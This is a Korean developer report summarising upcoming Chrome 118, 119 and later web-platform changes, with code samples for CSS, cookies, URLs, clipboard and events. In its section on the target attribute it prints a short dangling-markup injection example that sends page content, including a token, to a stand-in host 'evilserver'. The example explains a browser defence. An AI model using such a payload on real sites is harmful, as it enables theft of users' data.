월간 크롬 이슈 리포트 2023년 9월호


들어가며

프런트엔드 개발에 가장 많은 영향을 주는 크롬 브라우저의 버전별 변경 예정 항목을 정리 및 공유한다.

💡 각 항목은 Chrome Platform Status의 Roadmap과 한 달간의 blink-dev 활동 요약을 바탕으로 정리했다.

💡 각 항목의 🚫는 지원 중단 및 제거(Removed), ⚠️는 지원 중단(Deprecated), ✅는 새로운 기능(Enabled by default), 🧪는 미리 보기(Developer Trial, Origin Trial)를 의미한다.

💡 각 항목 중 기존 서비스에 미치는 영향이 크다고 판단한 항목은 소제목 뒤에 📌 표시를 했다.

💡 지원 중단 및 제거(🚫), 지원 중단(⚠️) 외의 항목은 공유 가치가 있다고 판단한 경우에만 포함했다.

💡 개발자 미리 보기(🧪)는 chrome://flags에서 Experimental Web Platform features 항목을 활성화하거나(Developer Trial), Origin Trial을 활성화해 사용할 수 있다.

💡 각 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 Chrome Platform Status를 그대로 인용했다.


목차

  1. Chrome 118

    • ⚠️ appearance 비표준 속성값 지원 중단 📌
    • ✅ 자바스크립트로 쿠키 설정 시, 제어 문자 차단 📌
    • ✅ 일부 언어에 대한 최소 글꼴 크기 기본 설정 제거
    • ✅ 스크롤 영역 자동 초점
    • URL 생성자 파싱 규칙 표준화
    • ✅ CSS @scope 규칙
    • 🧪 Clipboard API와 DataTransfer API 일관화 미리 보기
    • 🧪 스크롤바 신규 CSS 속성 미리 보기
    • 🗓️ 배포 예정일
  2. Chrome 119

    • ⚠️ WebSQL 지원 중단
    • ⚠️ 비표준 속성 shadowroot 지원 중단
    • ⚠️ Sanitizer API 제거
    • SVGUseElementdata: URL 차단
    • target 속성의 댕글링 마크업 치환
    • ✅ CloseWatcher
    • 🗓️ 배포 예정일
  3. Chrome NEXT

    • 🚫 [Chrome 127] Mutation 이벤트 제거 📌
    • ⚠️ [Chrome LATER] unload 이벤트 지원 중단 📌
    • ✅ [Chrome LATER] 내부망에 대한 하위 리소스 요청 규칙 적용

1. Chrome 118

⚠️ appearance 비표준 속성값 지원 중단 📌

CSS의 appearance 속성은 네이티브 UI의 외형을 변경할 때 사용한다. 현재 Chrome은 appearance-webkit-appearance 속성의 값으로 표준에 없는 값들도 다수 지원하나, Chrome 118부터는 비표준 속성값을 지원 중단할 예정이다. 아래 속성은 비표준으로 업데이트 이후 사용 시 콘솔에 경고를 노출한다.

  • inner-spin-button
  • media-slider
  • media-sliderthumb
  • media-volume-slider
  • media-volume-sliderthumb
  • push-button
  • searchfield-cancel-button
  • slider-horizontal
  • sliderthumb-horizontal
  • sliderthumb-vertical
  • square-button

만약 해당 속성값에 의존하는 UI가 있다면 직접 구현하는 것으로 대체가 필요하다.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

  • Firefox: 배포 완료
  • Safari: 의견 없음
  • 웹 개발자: 의견 없음

참조


✅ 자바스크립트로 쿠키 설정 시, 제어 문자 차단 📌

자바스크립트로 쿠키 설정 시, 문자열에 줄바꿈 문자(\r, \n) 등의 제어 문자가 있다면 쿠키 설정 자체를 거부하도록 변경한다.

현재 Chrome은 쿠키 설정 시 제어 문자가 있다면 해당 문자 뒤를 잘라내고 쿠키를 설정한다.

document.cookie = 'greeting=hellow\ncookie';
document.cookie; // 'greeting=hellow'

하지만 이 방식은 개발자가 예상하지 못한 값을 설정해 사이트의 오류나, 보안 문제로 이어질 수 있다. Chrome 118부터는 문자열에 제어 문자가 있는 경우 쿠키 설정 자체를 거부할 예정이다. 기존에 자바스크립트로 쿠키를 설정하는 코드가 있다면 제어 문자가 들어갈 만한 경우가 없는지 확인이 필요하다.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

  • Firefox: 의견 없음
  • Safari: 의견 없음
  • 웹 개발자: 의견 없음

참조


✅ 일부 언어에 대한 최소 글꼴 크기 기본 설정 제거

Chrome에는 사용자가 설정할 수 있는 최소 글꼴 크기 설정이 있다. chrome://settings/fonts에서 변경 가능한 설정으로, 사이트의 최소 글꼴 크기를 일정 값 이상으로 제한하는 기능이다.

이 설정의 기본값은 제한 없음이나, 7개 언어(아랍어, 페르시아어, 일본어, 한국어, 태국어, 중국어 간/번체)에만 예외적으로 특정 값을 최소 폰트 크기로 설정한다.

Chrome 118부터는 모든 글꼴의 일관된 표현을 위해 이 값을 제거할 예정이다. 업데이트 이후에 글꼴이 기존보다 작게 보일 수 있어 관련된 화면이 있다면 확인이 필요하다.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

  • Firefox: 배포 완료
  • Safari: 배포 완료
  • 웹 개발자: 긍정적

참조


✅ 스크롤 영역 자동 초점

스크롤 가능한 요소에 tabindex가 없더라도 자동으로 초점을 맞추도록 변경한다. 이는 마우스가 없는 환경에서 접근성을 높이기 위한 조치로, 스크롤 영역에 초점을 맞추고 화살표 키로 요소를 스크롤할 수 있다.

다만 실제 사이트에서 이 기능이 동작하는 경우는 찾기 어려울 것으로 보인다. 해당 기능은 자식 요소에 초점을 맞출 수 있는 요소가 없을 때만 적용되기 때문이다.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

  • Firefox: 배포 완료
  • Safari: 의견 없음
  • 웹 개발자: 긍정적

참조


URL 파싱 규칙 표준화

URL로 웹 주소 파싱 시, %로 인코딩한 경로를 디코딩하지 않도록 변경한다. 현재는 아래처럼 %로 인코딩한 경로가 있는 경우, 해당 문자를 디코딩한다.

const url = new URL('http://example.com/%41');
url.href; // 'http://example.com/A'

이는 표준과 동작이 달라 Chrome 118부터는 다른 브라우저처럼 %로 인코딩한 경로를 디코딩하지 않도록 변경할 예정이다.

const url = new URL('http://example.com/%41');
url.href; // 'http://example.com/%41'

특정 경로에 대한 인코딩, 디코딩이 필요한 경우 각각 encodeURIComponent(), decodeURIComponent()를 사용하는 것을 권장하니 참고하자.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

  • Firefox: 배포 완료
  • Safari: 배포 완료
  • 웹 개발자: 의견 없음

참조


✅ CSS @scope 규칙

CSS 표준으로 제안 중인 @scope 규칙을 적용한다. @scope는 CSS 규칙을 특정 구간에만 적용할 수 있는 문법으로, CSS에 스코프라는 새로운 개념이 생기는 셈이다.

@scope 규칙을 단순하게 사용하면 다음과 같다.

@scope (.red-theme) {
  span {
    color: red;
  }
}

@scope (.blue-theme) {
  span {
    color: blue;
  }
}

위 문법은 아래처럼 일반 선택자로 구현할 수도 있으나, 꽤 큰 차이가 있다.

.red-theme span {
  color: red;
}

.blue-theme span {
  color: blue;
}

예를 들어 아래와 같은 페이지가 있다고 해 보자.

<div class="blue-theme">
  <span>this is blue-theme</span>

  <div class="red-theme">
    <span>this is red-theme</span>
  </div>
</div>

일반 선택자로 구현한 스타일을 적용하면 두 <span> 텍스트는 모두 파란색으로 나타난다. .blue-theme span.red-theme span의 CSS 우선 순위가 같아 나중에 선언한 .blue-theme span의 스타일이 .red-theme span의 스타일을 덮어씌우기 때문이다.

@scope 규칙으로 작성한 스타일을 적용하면 의도대로 첫 번째 <span>은 파란색, 두 번째 <span>은 빨간색으로 나타난다. @scope@scope에 선언한 상위 스코프에 해당 요소가 가까울수록 우선 순위가 높다. 때문에 두 번째 <span>에 스타일을 적용할 때 @scope (.blue-theme)에서 선언한 규칙보다 @scope (.red-theme)에서 선언한 규칙이 우선 순위가 더 높아 color: red; 스타일이 color: blue; 스타일을 덮어씌운다.

또한 @scope A to B 규칙을 사용하면 아래처럼 스타일의 적용 범위를 설정할 수 있고,

@scope (.article) to (.comment) {
  p {
    margin: 12px 0;
  }
}

& 선택자 또는 :scope 가상 선택자를 이용하면 현재 상위 스코프 요소를 선택할 수 있다.

@scope (.light-theme) {
  & {
    background-color: white;
  }
}

@scope (.dark-theme) {
  :scope {
    background-color: black;
  }
}

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

참조


🧪 Clipboard API와 DataTransfer API 일관화 미리 보기

navigator.clipboard로 접근 가능한 Clipboardread(), write() 메서드의 동작을 DataTransfer API와 일관되게 사용할 수 있도록 변경한다. 내부 동작의 변경점도 있으나, 개발자 입장에서는 Clipboard.read() 메서드에 옵션 객체를 보내 정제하지 않은 HTML을 받을 수 있다는 것이 가장 큰 차이점이다.

try {
  const textInput = '<style>p { color: blue; }</style><p>Hello, World!</p>';
  const blobInput = new Blob([textInput], { type: 'text/html' });
  const clipboardItem = new ClipboardItem({ 'text/html': blobInput });
  await navigator.clipboard.write([clipboardItem]);
} catch (e) {
  console.log('Failed to write.');
}

try {
  const clipboardItems = await navigator.clipboard.read({ unsanitized: ['text/html'] });
  const blobOutput = await clipboardItems[0].getType('text/html');
  const outputHtml = await new Response(blobOutput).text();
  console.log(outputHtml); // <style>p { color: blue; }</style><p>Hello, World!</p>
} catch (e) {
  console.log('Failed to read clipboard.');
}

현재는 브라우저에서 항상 정제된 HTML(예시: <p>Hello, World!</p>)을 반환한다. 이 HTML은 스타일 등의 태그가 없을뿐더러 스타일을 인라인화 하기 때문에 크기도 굉장히 커질 수 있다. 개발자는 정제되지 않은 클립보드 HTML에 접근하려면 DataTransfer API 등을 활용해야만 한다.

다만 사파리에서는 이 기능에 부정적인 입장이어서 이 기능이 표준으로 등록되긴 어려워 보인다. 사파리에서는 사이트의 출처(origin)가 다르거나 다른 애플리케이션으로 이동할 때만 HTML을 정제하는 정책을 그대로 가져간다는 입장이다.

Chrome은 사파리와 별도로 118 버전에서 해당 기능의 미리 보기를 추가하고, 121 버전에서 해당 기능을 기본 적용할 예정이다.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

참조


🧪 스크롤바 신규 CSS 속성 미리 보기

스크롤바에 대한 스타일을 설정할 수 있는 scrollbar-colorscrollbar-width 속성의 미리 보기를 추가한다.

scrollbar-color 속성은 스크롤바의 색상을 결정하며, 첫 번째 값은 스크롤바의 thumb, 두 번째 값은 스크롤바의 track 색상으로 사용한다.

.scroll {
  width: 300px;
  height: 100px;
  overflow-y: scroll;
  scrollbar-color: lightcoral pink;
}

screenshot

scrollbar-width 속성은 스크롤바의 너비를 결정하며, auto | thin | none을 값으로 설정할 수 있다. 아직 숫자값은 사용이 불가능해 적극적인 사용은 어려워 보이나, none 값을 설정하면 간단하게 네이티브 스크롤바를 없앨 수 있다는 점은 장점이다.

screenshot

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

참조


🗓️ 배포 예정일

Chrome 1182023년 10월 4일에 정식 배포 예정이다.


2. Chrome 119

⚠️ WebSQL 지원 중단

WebSQL은 과거 브라우저에 데이터를 저장하기 위해 제안된 API로, Webkit 기반의 일부 브라우저에서만 사용이 가능했다. 하지만 이 프로젝트는 보안 구현 등의 어려움으로 1년 만에 폐기되었고, Webkit도 2019년에 이 API를 지원 중단했다.

이미 대부분의 브라우저에서 Web Storage API, IndexedDB API 같은 최신 저장소 API를 사용할 수 있어 이 API를 지원 중단한다. 이미 Chrome 97에서 제3자 컨텍스트의 WebSQL을 제거했으며, Chrome 105에서는 보안 연결을 사용하지 않는 페이지에서의 사용을 지원 중단했다.

웹에서 SQL을 계속 사용하려면 웹 어셈블리를 이용한 SQLite가 공식 대안이므로 참고하자.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

  • Firefox: 해당 없음
  • Safari: 배포 완료
  • 웹 개발자: 의견 없음

참조


⚠️ 비표준 속성 shadowroot 지원 중단

선언적 Shadow DOM<template> 요소에 shadowroot 속성을 지정해 템플릿에서 직접 Shadow DOM을 활성화할 수 있는 기능이다. 표준에서 이 속성에 대한 이름을 shadowrootmode로 변경함에 따라 기존 shadowroot 속성을 지원 중단한다. shadowroot는 Chrome에서 그대로 동작하나, Chrome 111에서 추가된 스트리밍 기능을 사용할 수 없다. shadowrootmode는 Chrome 111 이상에서 사용할 수 있으며, 다른 브라우저에서도 지원 예정이므로 shadowrootmode 속성을 사용하는 것이 좋다.

<host-element>
- <template shadowroot="open">
+ <template shadowrootmode="open">
    <slot></slot>
  </template>
  <h2>Light content</h2>
</host-element>

Chrome 112에서 shadowroot 속성에 대한 지원 중단 미리 보기를 추가했으니 참고하자.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

  • Firefox: 의견 없음
  • Safari: 의견 없음
  • 웹 개발자: 의견 없음

참조


⚠️ Sanitizer API 제거

Chrome 105에서 초안을 기반으로 구현했던 Sanitizer API를 제거한다. 논의 과정에서 명세가 많이 변경되어 초안의 구현체를 사용하는 페이지가 많아지는 것을 사전에 방지하기 위한 조치다.

Sanitizer API는 아직 논의 중이며, 정식 반영 일정은 불투명하다. 변경점이 더 있을 수 있으니 참고하자.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

참조


SVGUseElementdata: URL 차단

SVG의 <use>를 사용하면 외부 SVG 이미지를 불러와 현재 문서에 붙여넣을 수 있다. 강력한 기능이나 보안 문제가 있는 만큼 <use>에는 동일 출처 정책(same-origin policy)이 적용된다. 하지만 data: URL을 사용하는 경우는 항상 동일 출처로 취급하며, 일부 보안 모듈을 거치지 않는다.

Chrome 119부터는 data: URL을 지원 중단할 예정이므로 기존에 data: URL을 사용했다면 해당 이미지를 동일 출처의 .svg 이미지로 변환하거나, 인라인에서 직접 이미지를 관리하는 방법으로 전환하기를 권장한다.

<!-- SVG로 변환 -->
<svg viewBox="0 0 32 32" xmlns="http://www.w3.org/2000/svg">
  <circle id="circle" cx="5" cy="5" r="4" stroke="blue" />
  <use href="#circle" />
</svg>

// 스크립트로 직접 이미지를 관리
const url = URL.createObjectURL(blob);
const svg = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
const use = document.createElementNS('http://www.w3.org/2000/svg', 'use');
use.setAttribute('href', `${url}#circle`);
svg.appendChild(use);
document.body.appendChild(svg);

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

참조


target 속성의 댕글링 마크업 치환

댕글링 마크업 삽입(Dangling markup injection)은 웹 공격 중 하나로, HTML 분석기의 허점을 이용해 악성 코드를 삽입해 사용자의 정보를 가로채는 공격을 말한다.

<img src="https://evilserver/?<b>test</b>
<script>
  token = 'supersecret';
</script>
<form action="blah"></form>

위 코드는 <img> 요소를 일부러 불완전하게 작성함으로써 브라우저가 <img>의 주소인 https://evilserver에 사용자의 정보를 포함한 코드(<b>test</b><script>token = 'supersecret';</script><form action=)를 보내도록 유도했다.

Chrome은 이런 공격에 대비해 미리 방어 조치를 취해두었으나, target 속성은 아직 이 조치가 적용되지 않았다. Chrome 119부터는 target 속성의 값이 댕글링 마크업인 경우 해당 target 속성을 _blank로 초기화하도록 변경할 예정이다.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

참조


✅ CloseWatcher

사용자가 무언가를 취소하거나 닫는 행위를 했을 때 이를 감지할 수 있는 CloseWatcher를 추가한다.

CloseWatcher는 데스크톱의 escape 버튼을 누르거나, 안드로이드 기기에서 뒤로가기 제스처를 실행하는 등, 사용자가 무언가 닫는 동작을 요청했을 때 리스너에 이벤트를 전파한다.

현재는 이런 동작을 구현하기 위해 직접 keydown 이벤트에 리스너를 추가하거나, 각 플랫폼(iOS, Android 등)에 맞춘 전용 코드를 작성해야 해 번거롭다. CloseWatcher를 사용하면 이런 동작을 보다 간편하게 구현할 수 있다.

const watcher = new CloseWatcher();

watcher.addEventListener('close', () => {
  myModal.close();
});

myModalCloseButton.addEventListener('click', () => {
  watcher.destroy();
  myModal.close();
});

Chrome 팀은 내부적으로 <dialog>, popover 등의 오버레이도 해당 API를 사용하도록 변경할 예정이다.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

참조


🗓️ 배포 예정일

Chrome 1192023년 10월 25일에 정식 배포 예정이다. 10월 4일부터 10월 19일 사이에 Chrome 베타 버전에서 해당 기능을 미리 확인해 볼 수 있다.


3. Chrome NEXT

🚫 [Chrome 127] Mutation 이벤트 제거 📌

MutationEvent는 DOM 요소에 변경이 있을 때 발생하는 이벤트로, DOMSubtreeModified, DOMNodeInserted, DOMNodeRemoved 등이 있다.

element.addEventListener(
  'DOMNodeInserted',
  (event) => {
    console.log('새로운 요소를 감지했습니다.', event.srcElement);
  },
  false
);

element.append(document.createElement('span'));

// 새로운 요소를 감지했습니다. <span></span>

이 이벤트를 사용하면 DOM 변경을 추적할 수 있으나, 설계상 결함과 치명적인 성능 문제를 이유로 2011년에 표준에서 퇴출되었다.

2012년에 더 안정적인 MutationObserver가 등장하여 현재 대부분의 브라우저에서 이 이벤트 사용 시 콘솔에 경고를 노출한다. 아직 MutationEvent를 사용한다면 MutationObserver로 전환할 것을 적극 권장한다.

const observer = new MutationObserver((mutations) => {
  for (const mutation of mutations) {
    if (mutation.type === 'childList') {
      console.log('새로운 요소를 감지했습니다.', ...mutation.addedNodes);
    }
  }
});

observer.observe(element, { childList: true });
element.append(document.createElement('span'));

// 새로운 요소를 감지했습니다. <span></span>

Chrome 115부터는 Mutation 이벤트 사용 시 좀 더 강력한 경고를 노출하며, 내년 7월 말 배포 예정인 Chrome 127에서는 해당 API를 제거할 계획이다.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

참조


⚠️ unload 이벤트 지원 중단 📌

unload 이벤트는 해당 문서 또는 자식 문서를 해제할 때 발생하는 이벤트이다. 이 이벤트를 이용하면 사용자가 페이지를 종료하기 전에 특정 동작을 실행할 수 있다.

window.addEventListener('unload', (event) => {
  navigator.sendBeacon('/api/log', 'unload!');
});

하지만 unload 이벤트는 beforeunload 이벤트와 달리 기본 동작을 취소(event.preventDefault())할 수 없어 이벤트가 아예 발생하지 않기도 한다. W3C의 통계에 따르면 unload 이벤트가 제대로 발생하는 경우가 Chrome 데스크탑에서는 95%, 모바일에서는 57% ~ 68% 정도로, 이는 모바일 환경의 특성상 브라우저가 아닌 다른 앱을 보다가 브라우저 자체를 종료하는 경우가 빈번하기 때문이다.

Chrome은 점진적으로 unload 이벤트를 제거한다는 계획으로, 먼저 Permission-Policy를 추가하고, 기본값을 deny로 바꾸며, 결과적으로는 unload 이벤트 자체를 제거할 계획이다. Chrome 117에서 unload 이벤트의 허용 여부를 결정하는 Permission-Policy의 미리 보기를 추가했으니 참고하자.

이 항목에 대한 주요 브라우저 및 웹 개발자의 의견은 다음과 같다.

참조


✅ [Chrome LATER] 내부망에 대한 하위 리소스 요청 규칙 적용

내부망 접근 규칙(Local Network Access) 적용의 일부로 하위 리소스(.js, .css 등)를 요청할 때 내부망(사설 IP, localhost)에 대한 접근 제한을 검토 중이다. 정식 적용 일정은 불투명하나, 미리 보기로 일부 기능을 체험할 수 있다.

공개 웹 사이트의 내부망 하위 리소스 접근 제한

공개 웹 사이트(공개 IP로 접근 가능한 사이트)에서 내부망에 하위 리소스(.js, .css 등) 요청 시 반드시 보안 컨텍스트(HTTPS)를 사용하도록 제한한다. 내부망의 하위 리소스에 접근하려면 보안 컨텍스트를 사용하도록 변경해야 한다.

Chrome 86 이상에서 실험적 웹 기능을 활성화해 접근 제한을 미리 체험할 수 있다.

내부망에 하위 리소스 요청 시 사전 요청 발송

내부망에 하위 리소스 요청 시 사전 요청을 보내 연결 허용 여부를 먼저 묻는다. 현재는 사전 요청 실패 시 개발자 콘솔에 경고만 노출한다.

참조


이원표2023.09.22
Back to list